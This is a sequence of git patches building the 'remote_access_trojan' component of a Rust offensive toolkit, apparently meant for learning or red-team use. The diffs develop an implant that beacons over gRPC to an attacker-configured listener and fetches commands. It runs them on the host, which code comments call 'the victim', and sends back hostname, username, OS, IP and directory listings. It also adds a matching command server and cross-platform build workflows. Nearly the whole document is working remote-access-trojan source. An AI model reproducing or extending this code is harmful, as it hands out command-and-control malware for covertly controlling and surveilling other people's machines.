+#[cfg(target_os = "linux")] +fn get_operating_system() -> String { + let os = Command::new("cat") + .arg("/proc/version") + .output() + .unwrap(); + let os = String::from_utf8(os.stdout).unwrap(); + let os = os.trim(); + os.to_string() +} + +#[cfg(windows)] +fn get_operating_system() -> String { + let os = Command::new("systeminfo") + .arg("|") + .arg("findstr") + .arg("OS ") + .output() + .unwrap(); + let os = String::from_utf8(os.stdout).unwrap(); + let os = os.trim(); + os.to_string() +} + #[tokio::main] async fn main() -> Result<(), Box> { println!("implant"); From 7af7c6994e0217108b5aab7e162cd2de9091c6a9 Mon Sep 17 00:00:00 2001 From: koins Date: Tue, 22 Feb 2022 22:09:56 -0800 Subject: [PATCH 09/33] its looping! next should probably figure out how to maintain state but i need more brainpower for that so itll have to be another day --- remote_access_trojan/src/implant.rs | 55 ++++++++++++++++------------- 1 file changed, 30 insertions(+), 25 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 9a820fb..f1056d1 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -4,7 +4,8 @@ use remote_access_trojan::rat::{Beacon, CommandResponse}; use std::collections::hash_map::DefaultHasher; use std::hash::{Hash, Hasher}; use std::process::Command; -use std::time::SystemTime; +use std::thread; +use std::time::{Duration, SystemTime}; use tonic::transport::Endpoint; // Some TODOs in no meaningful order @@ -113,40 +114,44 @@ async fn main() -> Result<(), Box> { println!("implant"); let implant_id = generate_implant_id(); - + let cadence = Duration::from_millis(10000); // Can I send a protobuf from the client to the server? let ip_address = rco_config::LISTENER_IP; let port = rco_config::LISTENER_PORT; let socket = format!("http://{ip_address}:{port}"); let channel = Endpoint::from_shared(socket)? - .connect() - .await?; + .connect() + .await?; let mut ask_client = AskForInstructionsClient::new(channel.clone()); let mut response_client = RecordCommandResultClient::new(channel); - let request = tonic::Request::new( - Beacon { - last_received: 0 - }, - ); - let response = ask_client.send(request).await?.into_inner(); - println!("Response={response:?}"); - let command_received = response.command; - if !command_received.is_empty() { - let command = Command::new(&command_received) - .output() - .unwrap(); - let command_response = String::from_utf8(command.stdout).unwrap(); - let result = tonic::Request::new( - CommandResponse { - implant_id: implant_id, - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: command_received, - result: command_response + loop { + let request = tonic::Request::new( + Beacon { + last_received: 0 }, ); - let response = response_client.send(result).await?.into_inner(); - println!("{response:?}"); + let response = ask_client.send(request).await?.into_inner(); + println!("Response={response:?}"); + + let command_received = response.command; + if !command_received.is_empty() { + let command = Command::new(&command_received) + .output() + .unwrap(); + let command_response = String::from_utf8(command.stdout).unwrap(); + let result = tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: command_received, + result: command_response + }, + ); + let response = response_client.send(result).await?.into_inner(); + println!("{response:?}"); + } + thread::sleep(cadence); } Ok(()) From 3bb51a2d2f4e22470b03703860f907fb944210d6 Mon Sep 17 00:00:00 2001 From: koins Date: Tue, 22 Feb 2022 22:19:35 -0800 Subject: [PATCH 10/33] i think this covers all the build stuff, badge stuff, and readme stubs --- .custom_shields/remote_access_trojan.json | 6 ++++++ .github/workflows/linux.yml | 14 +++++++++++++ .github/workflows/shield_io_updater.yml | 25 ++++++++++++++++++++++- .github/workflows/windows.yml | 19 +++++++++++++++++ README.md | 2 ++ remote_access_trojan/README.md | 5 +++++ 6 files changed, 70 insertions(+), 1 deletion(-) create mode 100644 .custom_shields/remote_access_trojan.json create mode 100644 remote_access_trojan/README.md diff --git a/.custom_shields/remote_access_trojan.json b/.custom_shields/remote_access_trojan.json new file mode 100644 index 0000000..c32684f --- /dev/null +++ b/.custom_shields/remote_access_trojan.json @@ -0,0 +1,6 @@ +{ + "schemaVersion": 1, + "label": "remote_access_trojan", + "message": "1.0.0", + "color": "blue" +} \ No newline at end of file diff --git a/.github/workflows/linux.yml b/.github/workflows/linux.yml index bbb6ef7..5d43b38 100644 --- a/.github/workflows/linux.yml +++ b/.github/workflows/linux.yml @@ -10,6 +10,7 @@ env: CARGO_TERM_COLOR: always jobs: + linux-reverse-shell: runs-on: ubuntu-latest @@ -140,6 +141,19 @@ jobs: - name: Build xor shellcode for Linux run: cargo build -p xor_params --verbose + linux-remote-access-trojan: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build remote access trojan for Linux + run: cargo build -p remote_access_trojan --verbose + linux-all: runs-on: ubuntu-latest diff --git a/.github/workflows/shield_io_updater.yml b/.github/workflows/shield_io_updater.yml index 58d6f68..6fc5e5a 100644 --- a/.github/workflows/shield_io_updater.yml +++ b/.github/workflows/shield_io_updater.yml @@ -96,4 +96,27 @@ jobs: value: ${{ steps.xor_params_ver.outputs.app_version }} - uses: stefanzweifel/git-auto-commit-action@v4 with: - commit_message: "Update xor params badge data via Github Action" \ No newline at end of file + commit_message: "Update xor params badge data via Github Action" + + update-remote-access-trojan: + + runs-on: ubuntu-latest + needs: update-xor-params + + steps: + - uses: actions/checkout@v2 + with: + ref: ${{ github.head_ref }} + - uses: dante-signal31/rust-app-version@v1.0.0 + id: remote_access_trojan_ver + with: + cargo_toml_folder: 'remote_access_trojan/' + - name: Update remote_access_trojan version + uses: jossef/action-set-json-field@v1 + with: + file: '.custom_shields/remote_access_trojan.json' + field: message + value: ${{ steps.remote_access_trojan_ver.outputs.app_version }} + - uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: "Update remote access trojan badge data via Github Action" \ No newline at end of file diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index d6b01ee..2217704 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -201,6 +201,25 @@ jobs: - name: Build xor shellcode for Windows run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose + windows-remote-access-trojan: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build remote access trojan for Windows + run: cargo build -p remote_access_trojan --target x86_64-pc-windows-gnu --verbose + windows-all: runs-on: ubuntu-latest diff --git a/README.md b/README.md index 9d6a404..85a3bed 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,8 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user [![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_params) +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fremote_access_trojan.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/remote_access_trojan) + ## Setup Clone the repo diff --git a/remote_access_trojan/README.md b/remote_access_trojan/README.md new file mode 100644 index 0000000..48920cc --- /dev/null +++ b/remote_access_trojan/README.md @@ -0,0 +1,5 @@ +# RCO: Remote Access Trojan + +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fremote_access_trojan.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/remote_access_trojan) + +Probably need to revisit this when it's done, not much point doing it now \ No newline at end of file From 63ee51b92e4dc1ecffcc0e220ae36f7091a870e6 Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 23 Feb 2022 16:34:12 -0800 Subject: [PATCH 11/33] time will tell whether or not this is a good approach, but commands are working generally --- remote_access_trojan/rat.proto | 18 ++- remote_access_trojan/src/implant.rs | 179 +++++++++++++++++++++------- remote_access_trojan/src/lib.rs | 13 ++ remote_access_trojan/src/server.rs | 6 +- 4 files changed, 172 insertions(+), 44 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 1072f95..00ba5c6 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -10,18 +10,32 @@ service RecordCommandResult { rpc Send (CommandResponse) returns (Empty); } +enum RATCommand { + Cadence = 0; + Dir = 1; + Help = 2; + Hostname = 3; + Ip = 4; + Ls = 5; + Os = 6; + Quit = 7; + Shell = 8; + Whoami = 9; + } + message Beacon { int32 last_received = 1; } message CommandRequest { - string command = 1; + RATCommand command = 1; + string arguments = 2; } message CommandResponse { string implant_id = 1; uint64 timestamp = 2; - string command = 3; + RATCommand command = 3; string result = 4; } diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index f1056d1..9ea9f9a 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -1,6 +1,7 @@ -use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient; -use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient; use remote_access_trojan::rat::{Beacon, CommandResponse}; +use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient; +use remote_access_trojan::rat::RatCommand; +use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient; use std::collections::hash_map::DefaultHasher; use std::hash::{Hash, Hasher}; use std::process::Command; @@ -14,12 +15,20 @@ Define what a command is, and get some cross platform definitions in place - help - change beacon cadence - drop into a shell -Make the beacons run in a loop Figure out the implementation of getting commands newer than last run Log actions on the server Have a real client do things */ +fn get_hostname() -> String { + let hostname = Command::new("hostname") + .output() + .unwrap(); + let hostname = String::from_utf8(hostname.stdout).unwrap(); + let hostname = hostname.trim(); + hostname.to_string() +} + #[cfg(target_os = "linux")] fn get_ip_address() -> String { let ip_address = Command::new("hostname") @@ -65,26 +74,6 @@ fn get_directory_listing() -> String { directory.to_string() } -fn calculate_hash(t: &T) -> u64 { - let mut s = DefaultHasher::new(); - t.hash(&mut s); - s.finish() -} - -fn generate_implant_id() -> String { - let hostname = Command::new("hostname") - .output() - .unwrap(); - let hostname = String::from_utf8(hostname.stdout).unwrap(); - let hostname = hostname.trim(); - - // This will work on Linux. Need to do "ipconfig | findstr IPv4" or something similar on Windows - let ip_address = get_ip_address(); - - let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); - format!("{hashed_value:x}") -} - #[cfg(target_os = "linux")] fn get_operating_system() -> String { let os = Command::new("cat") @@ -109,6 +98,35 @@ fn get_operating_system() -> String { os.to_string() } +fn get_username() -> String { + let username = Command::new("whoami") + .output() + .unwrap(); + let username = String::from_utf8(username.stdout).unwrap(); + let username = username.trim(); + username.to_string() +} + +fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} + +fn generate_implant_id() -> String { + let hostname = Command::new("hostname") + .output() + .unwrap(); + let hostname = String::from_utf8(hostname.stdout).unwrap(); + let hostname = hostname.trim(); + + // This will work on Linux. Need to do "ipconfig | findstr IPv4" or something similar on Windows + let ip_address = get_ip_address(); + + let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); + format!("{hashed_value:x}") +} + #[tokio::main] async fn main() -> Result<(), Box> { println!("implant"); @@ -134,23 +152,104 @@ async fn main() -> Result<(), Box> { let response = ask_client.send(request).await?.into_inner(); println!("Response={response:?}"); - let command_received = response.command; - if !command_received.is_empty() { - let command = Command::new(&command_received) - .output() - .unwrap(); - let command_response = String::from_utf8(command.stdout).unwrap(); - let result = tonic::Request::new( - CommandResponse { - implant_id: implant_id.clone(), - timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), - command: command_received, - result: command_response - }, - ); - let response = response_client.send(result).await?.into_inner(); - println!("{response:?}"); - } + let command = RatCommand::from_i32(response.command).unwrap(); + let result = match command { + RatCommand::Cadence => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: "PLACEHOLDER".to_string() + }, + ) + }, + RatCommand::Dir => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: get_directory_listing() + }, + ) + }, + RatCommand::Hostname => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: get_hostname() + }, + ) + }, + RatCommand::Ip => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: get_ip_address() + }, + ) + }, + RatCommand::Ls => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: get_directory_listing() + }, + ) + }, + RatCommand::Os => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: get_operating_system() + }, + ) + }, + RatCommand::Quit => { + break + }, + RatCommand::Shell => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: "PLACEHOLDER".to_string() + }, + ) + }, + RatCommand::Whoami => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: get_username() + }, + ) + }, + _ => { + tonic::Request::new( + CommandResponse { + implant_id: implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + result: "Command received from server not implemented".to_string() + }, + ) + } + }; + let response = response_client.send(result).await?.into_inner(); + println!("{response:?}"); thread::sleep(cadence); } diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index e3b6d29..ee690a1 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -1,3 +1,16 @@ pub mod rat { tonic::include_proto!("rat"); +} + +pub enum RATCommand { + Cadence, + Dir, + Help, + Hostname, + Ip, + Ls, + Os, + Quit, + Shell, + Whoami, } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 1ed51ba..8a8029d 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,3 +1,4 @@ +use remote_access_trojan::rat::RatCommand; use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; @@ -11,11 +12,12 @@ pub struct MyAskForInstructions {} impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { println!("Request={request:?}"); - let fake_commands: Vec<&str> = vec!["hostname", "whoami", "ls"]; + let fake_commands: Vec = vec![RatCommand::Quit, RatCommand::Help, RatCommand::Ls]; let number: usize = request.into_inner().last_received.try_into().unwrap(); Ok(Response::new( CommandRequest { - command:String::from(fake_commands[number]), + command: RatCommand::try_into(fake_commands[number]).unwrap(), + arguments:String::from("") } )) } From 87864b3a64a03c897372f8142deea00eac774a9f Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 23 Feb 2022 16:35:29 -0800 Subject: [PATCH 12/33] didnt need that there --- remote_access_trojan/src/implant.rs | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 9ea9f9a..21815bd 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -114,13 +114,7 @@ fn calculate_hash(t: &T) -> u64 { } fn generate_implant_id() -> String { - let hostname = Command::new("hostname") - .output() - .unwrap(); - let hostname = String::from_utf8(hostname.stdout).unwrap(); - let hostname = hostname.trim(); - - // This will work on Linux. Need to do "ipconfig | findstr IPv4" or something similar on Windows + let hostname = get_hostname(); let ip_address = get_ip_address(); let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); From 63a874ffaeaeb82d322395e578938d044b48c91d Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 23 Feb 2022 17:41:20 -0800 Subject: [PATCH 13/33] some basic comments in the implant --- remote_access_trojan/src/implant.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 21815bd..cd75d1d 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -20,6 +20,7 @@ Log actions on the server Have a real client do things */ +// Return the hostname as a string fn get_hostname() -> String { let hostname = Command::new("hostname") .output() @@ -29,6 +30,7 @@ fn get_hostname() -> String { hostname.to_string() } +// Return the IP address of the victim as a string - Linux #[cfg(target_os = "linux")] fn get_ip_address() -> String { let ip_address = Command::new("hostname") @@ -40,6 +42,7 @@ fn get_ip_address() -> String { ip_address.to_string() } +// Return the IP address of the victim as a string - Windows #[cfg(windows)] fn get_ip_address() -> String { let ip_address = Command::new("ipconfig") @@ -54,6 +57,7 @@ fn get_ip_address() -> String { ip_address.to_string() } +// Return the current directory listing as a string - Linux #[cfg(target_os = "linux")] fn get_directory_listing() -> String { let directory = Command::new("ls") @@ -64,6 +68,7 @@ fn get_directory_listing() -> String { directory.to_string() } +// Return the current directory listing as a string - Windows #[cfg(windows)] fn get_directory_listing() -> String { let directory = Command::new("dir") @@ -74,6 +79,7 @@ fn get_directory_listing() -> String { directory.to_string() } +// Return the operating system of the victim as a string - Linux #[cfg(target_os = "linux")] fn get_operating_system() -> String { let os = Command::new("cat") @@ -85,6 +91,7 @@ fn get_operating_system() -> String { os.to_string() } +// Return the operating system of the victim as a string - Windows #[cfg(windows)] fn get_operating_system() -> String { let os = Command::new("systeminfo") @@ -98,6 +105,7 @@ fn get_operating_system() -> String { os.to_string() } +// Return the user compromised on the victim as a string fn get_username() -> String { let username = Command::new("whoami") .output() @@ -107,12 +115,14 @@ fn get_username() -> String { username.to_string() } +// Hash a thing and return the value as a u64 fn calculate_hash(t: &T) -> u64 { let mut s = DefaultHasher::new(); t.hash(&mut s); s.finish() } +// Generate an implant ID, which is the hashed value of {hostname}:{ip_address} formatted as a hex string fn generate_implant_id() -> String { let hostname = get_hostname(); let ip_address = get_ip_address(); From 518613d75190c430a7b2b393d3ba7d3c0fd65ae9 Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 23 Feb 2022 17:52:30 -0800 Subject: [PATCH 14/33] putting down more thoughts --- remote_access_trojan/src/implant.rs | 21 +++++++++++++-------- remote_access_trojan/src/server.rs | 2 +- 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index cd75d1d..dfcefec 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -9,15 +9,20 @@ use std::thread; use std::time::{Duration, SystemTime}; use tonic::transport::Endpoint; -// Some TODOs in no meaningful order /* -Define what a command is, and get some cross platform definitions in place - - help - - change beacon cadence - - drop into a shell -Figure out the implementation of getting commands newer than last run -Log actions on the server -Have a real client do things +Some outstanding things to do + - client --> server help print + - server --> implant beacon cadence changing RatCommand + - server --> implant drop into shell + - beacons should only pull / run most recent commands + - log results of commands on the server + - create a client to send commands to the server + - client get results of commands from server + - im gonna go out on a limb and say there is some code repetition here that can be cleaned up + - packet capture some traffic to see the magic in action + - as an aside it looks like the connection stays established in between beacons which is probably not ideal + - encrypt traffic + - other communication method(s) between server and implant */ // Return the hostname as a string diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 8a8029d..c2d5e61 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -12,7 +12,7 @@ pub struct MyAskForInstructions {} impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { println!("Request={request:?}"); - let fake_commands: Vec = vec![RatCommand::Quit, RatCommand::Help, RatCommand::Ls]; + let fake_commands: Vec = vec![RatCommand::Hostname, RatCommand::Help, RatCommand::Ls]; let number: usize = request.into_inner().last_received.try_into().unwrap(); Ok(Response::new( CommandRequest { From edc8f5c74507c626f0d3b11b58b62015b32df51e Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 23 Feb 2022 22:03:13 -0800 Subject: [PATCH 15/33] no more perma-established channels --- remote_access_trojan/src/implant.rs | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index dfcefec..c957495 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -20,7 +20,6 @@ Some outstanding things to do - client get results of commands from server - im gonna go out on a limb and say there is some code repetition here that can be cleaned up - packet capture some traffic to see the magic in action - - as an aside it looks like the connection stays established in between beacons which is probably not ideal - encrypt traffic - other communication method(s) between server and implant */ @@ -146,13 +145,13 @@ async fn main() -> Result<(), Box> { let ip_address = rco_config::LISTENER_IP; let port = rco_config::LISTENER_PORT; let socket = format!("http://{ip_address}:{port}"); - let channel = Endpoint::from_shared(socket)? + + loop { + let channel = Endpoint::from_shared(socket.clone())? .connect() .await?; - let mut ask_client = AskForInstructionsClient::new(channel.clone()); - let mut response_client = RecordCommandResultClient::new(channel); - - loop { + let mut ask_client = AskForInstructionsClient::new(channel.clone()); + let mut response_client = RecordCommandResultClient::new(channel.clone()); let request = tonic::Request::new( Beacon { last_received: 0 @@ -259,6 +258,10 @@ async fn main() -> Result<(), Box> { }; let response = response_client.send(result).await?.into_inner(); println!("{response:?}"); + // By dropping these I can prevent having an always-established channel + std::mem::drop(channel); + std::mem::drop(ask_client); + std::mem::drop(response_client); thread::sleep(cadence); } From 160e6540bae3e8fbe702a16e39d63a50681bc9fe Mon Sep 17 00:00:00 2001 From: koins Date: Thu, 24 Feb 2022 16:07:16 -0800 Subject: [PATCH 16/33] implant is state-aware and is able to receive / process 'None' commands if the server has nothing new --- remote_access_trojan/rat.proto | 11 +++-- remote_access_trojan/src/implant.rs | 71 ++++++++++++++++++++--------- remote_access_trojan/src/server.rs | 24 +++++++--- 3 files changed, 73 insertions(+), 33 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 00ba5c6..5ca10d8 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -17,14 +17,15 @@ enum RATCommand { Hostname = 3; Ip = 4; Ls = 5; - Os = 6; - Quit = 7; - Shell = 8; - Whoami = 9; + None = 6; + Os = 7; + Quit = 8; + Shell = 9; + Whoami = 10; } message Beacon { - int32 last_received = 1; + uint32 requested_command = 1; } message CommandRequest { diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index c957495..ace6d6a 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -5,7 +5,7 @@ use remote_access_trojan::rat::record_command_result_client::RecordCommandResult use std::collections::hash_map::DefaultHasher; use std::hash::{Hash, Hasher}; use std::process::Command; -use std::thread; +use std::{mem, thread}; use std::time::{Duration, SystemTime}; use tonic::transport::Endpoint; @@ -135,18 +135,30 @@ fn generate_implant_id() -> String { format!("{hashed_value:x}") } +struct ImplantState { + implant_id: String, + cadence: Duration, + server_location: String, + server_port: u16, + command_number: u32 +} + #[tokio::main] async fn main() -> Result<(), Box> { println!("implant"); - let implant_id = generate_implant_id(); - let cadence = Duration::from_millis(10000); - // Can I send a protobuf from the client to the server? - let ip_address = rco_config::LISTENER_IP; - let port = rco_config::LISTENER_PORT; - let socket = format!("http://{ip_address}:{port}"); + let mut state = ImplantState { + implant_id: generate_implant_id(), + cadence: Duration::from_millis(10000), + server_location: String::from(rco_config::LISTENER_IP), + server_port: rco_config::LISTENER_PORT, + command_number: 0 + }; loop { + let location = state.server_location.clone(); + let port = state.server_port.clone(); + let socket = format!("http://{location}:{port}"); let channel = Endpoint::from_shared(socket.clone())? .connect() .await?; @@ -154,7 +166,7 @@ async fn main() -> Result<(), Box> { let mut response_client = RecordCommandResultClient::new(channel.clone()); let request = tonic::Request::new( Beacon { - last_received: 0 + requested_command: state.command_number.clone() }, ); let response = ask_client.send(request).await?.into_inner(); @@ -163,9 +175,10 @@ async fn main() -> Result<(), Box> { let command = RatCommand::from_i32(response.command).unwrap(); let result = match command { RatCommand::Cadence => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: "PLACEHOLDER".to_string() @@ -173,9 +186,10 @@ async fn main() -> Result<(), Box> { ) }, RatCommand::Dir => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: get_directory_listing() @@ -183,9 +197,10 @@ async fn main() -> Result<(), Box> { ) }, RatCommand::Hostname => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: get_hostname() @@ -193,9 +208,10 @@ async fn main() -> Result<(), Box> { ) }, RatCommand::Ip => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: get_ip_address() @@ -203,19 +219,28 @@ async fn main() -> Result<(), Box> { ) }, RatCommand::Ls => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: get_directory_listing() }, ) }, + RatCommand::None => { + mem::drop(channel); + mem::drop(ask_client); + mem::drop(response_client); + thread::sleep(state.cadence); + continue + }, RatCommand::Os => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: get_operating_system() @@ -223,12 +248,14 @@ async fn main() -> Result<(), Box> { ) }, RatCommand::Quit => { + state.command_number += 1; break }, RatCommand::Shell => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: "PLACEHOLDER".to_string() @@ -236,9 +263,10 @@ async fn main() -> Result<(), Box> { ) }, RatCommand::Whoami => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: get_username() @@ -246,9 +274,10 @@ async fn main() -> Result<(), Box> { ) }, _ => { + state.command_number += 1; tonic::Request::new( CommandResponse { - implant_id: implant_id.clone(), + implant_id: state.implant_id.clone(), timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), command: response.command, result: "Command received from server not implemented".to_string() @@ -259,10 +288,10 @@ async fn main() -> Result<(), Box> { let response = response_client.send(result).await?.into_inner(); println!("{response:?}"); // By dropping these I can prevent having an always-established channel - std::mem::drop(channel); - std::mem::drop(ask_client); - std::mem::drop(response_client); - thread::sleep(cadence); + mem::drop(channel); + mem::drop(ask_client); + mem::drop(response_client); + thread::sleep(state.cadence); } Ok(()) diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index c2d5e61..4395d94 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -13,13 +13,23 @@ impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { println!("Request={request:?}"); let fake_commands: Vec = vec![RatCommand::Hostname, RatCommand::Help, RatCommand::Ls]; - let number: usize = request.into_inner().last_received.try_into().unwrap(); - Ok(Response::new( - CommandRequest { - command: RatCommand::try_into(fake_commands[number]).unwrap(), - arguments:String::from("") - } - )) + let number: usize = request.into_inner().requested_command.try_into().unwrap(); + if fake_commands.len() > number { + Ok(Response::new( + CommandRequest { + command: RatCommand::try_into(fake_commands[number]).unwrap(), + arguments:String::from("") + } + )) + } else { + Ok(Response::new( + CommandRequest { + command: RatCommand::try_into(RatCommand::None).unwrap(), + arguments:String::from("") + } + )) + } + } } From 6bd2ab850194afdbba6d7dd934ba22cfed3470de Mon Sep 17 00:00:00 2001 From: koins Date: Thu, 24 Feb 2022 16:25:39 -0800 Subject: [PATCH 17/33] making steps towards saving results. also cleaning up some of the prints --- remote_access_trojan/src/implant.rs | 6 +++--- remote_access_trojan/src/server.rs | 10 +++++++--- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index ace6d6a..e6f719f 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ 